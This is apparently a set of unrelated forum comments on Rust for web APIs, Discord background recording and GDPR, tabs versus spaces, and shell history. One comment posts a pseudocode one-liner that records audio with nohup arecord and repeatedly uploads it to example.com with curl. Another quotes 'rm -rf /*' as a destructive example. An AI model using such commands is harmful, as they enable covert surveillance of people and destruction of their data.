That’s quite the assumption! You’d also have to know that your shell maintains a history and know how to search it. None of these things are obvious to those who do not already know them. We all had to learn at some point.
I've noticed that Rust is in an interesting spot - it has a lot of overlapping appeal with various groups.
- C/C++ developers like it as an alternative for low level languages
- Functional programmers like it because of it's functional features
- "Cargo Culters" / "Hot Language" / "Flavor of the Month" followers like it, as it's in vogue at the moment (this is the crowd that has likely shifted from various web/API scripting languages over the last decade - (php|ruby|python) -> nodejs -> rust)
However, as the article alludes to, for the third crowd, Rust is just likely not a great fit (even if it has a lot of neat features and introduces some great concepts others may not stumble on of their own accord) when your implementation doesn't do much beyond web dev/API/scripting purposes.
I've written a few APIs in Rust and I'm kinda baffled on what the author is trying to convey. On the one hand he mentions that it's a simple CRUD application, on the other hand he mentions complexity that arose from using Rust. I wish he gave some concrete examples of problems that they have. From my experience, when writing web APIs, most of the problems with Rust are not really that visible. Most of the time you get a request, process some data or interact with a database (or both) and return the response. In this scenario you don't often have to deal with lifetimes or any of the advanced stuff.
nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done &
Untested pseudocode, but probably close - that's enough for a GDPR violation I guess? That it'd record unimpeded while running in the background, and sending the output elsewhere?
Pretty stupid scenario - sad Discord had locations in that area, because I agree with a lot of other posters, it seems to just be a weaponized law for monetary gain.
No, you would also need to run on computers of people not understanding what is going on.
In the same way as running
> rm -rf /*
on computers of people not understanding what is going on (or not agreeing to it) and where you are not allowed to do so is illegal, for quite good reasons.
Did the users choose to install the Discord app (or run a random command?)
How are you supposed to confirm "user understanding"?
Does the program need to require a tutorial/training before it's being used?
A user's ignorance shouldn't be a software distributor's problem.
If the discord app didn't have a system tray, and hid it's process from the Process List someway, maybe you have a point - this is just ignorance across the board.
I think if you are doing the close is actually not killing the app you should ensure the user is aware the app is still recording. Some apps will show a recoding thinggy ont he screen or it will tell you before closing and you need to agree.
I don't have the time to test this, but if is true that you close the app and it sill continue recording that this is bad UX and the company should have prioritize fixing this instead of adding even more crap. Maybe some good practices would come from this.
Doesn't it show a system tray icon? (I don't use discord on Windows, or a system tray myself) - is a system tray icon not adequate? I believe it would show 24/7 wouldn't it?
I am not sure, it won't be enough IMO if the icon in the Tray is not changing to a clear Recording icon.
It would be like on my phone the big red End Call button would not end the call, just minimize the app and put a small gray icon on the top-bar section.
I believe homoiconicity is more related to the syntax than the underlying implementation - fans of homoiconic code use it to treat code as data (macros and eval) rather than to reason about performance concerns/having a transparency into the underlying implementation (see: Clojure).
No, it's incredibly stupid and is missing the point. You use tabs to not be consistent. So that the crazy js person can have a 2-wide indent and the slightly visually impaired person can have an 8-wide indent without reformatting the entire codebase
Are you visually impaired of have you received or read criticisms of this nature from visually impaired persons? Genuine curiosity, because if this is a matter of accessibility I would vouch for tabs.
Thing is that with spaces you can also predict consistently the line length and not have code being clipped on someone's screen that set tabs for 8 spaces for some reason.
In any case, I like spaces but I am impartial to either one. You seem like you have very strong opinions about the matter so I won't push the subject further.
> Thing is that with spaces you can also predict consistently the line length and not
> have code being clipped on someone's screen that set tabs for 8 spaces for some reason.
Spaces force you to worry how that other dev will see the code. Tabs are semantic - you set the editor to display how _you_ like to see it and that other dev sets the editor to display how he likes to see it.
Even things like "what flags to use with ffmpeg" are a shell reverse-history search away, assuming one has ever used them in the past.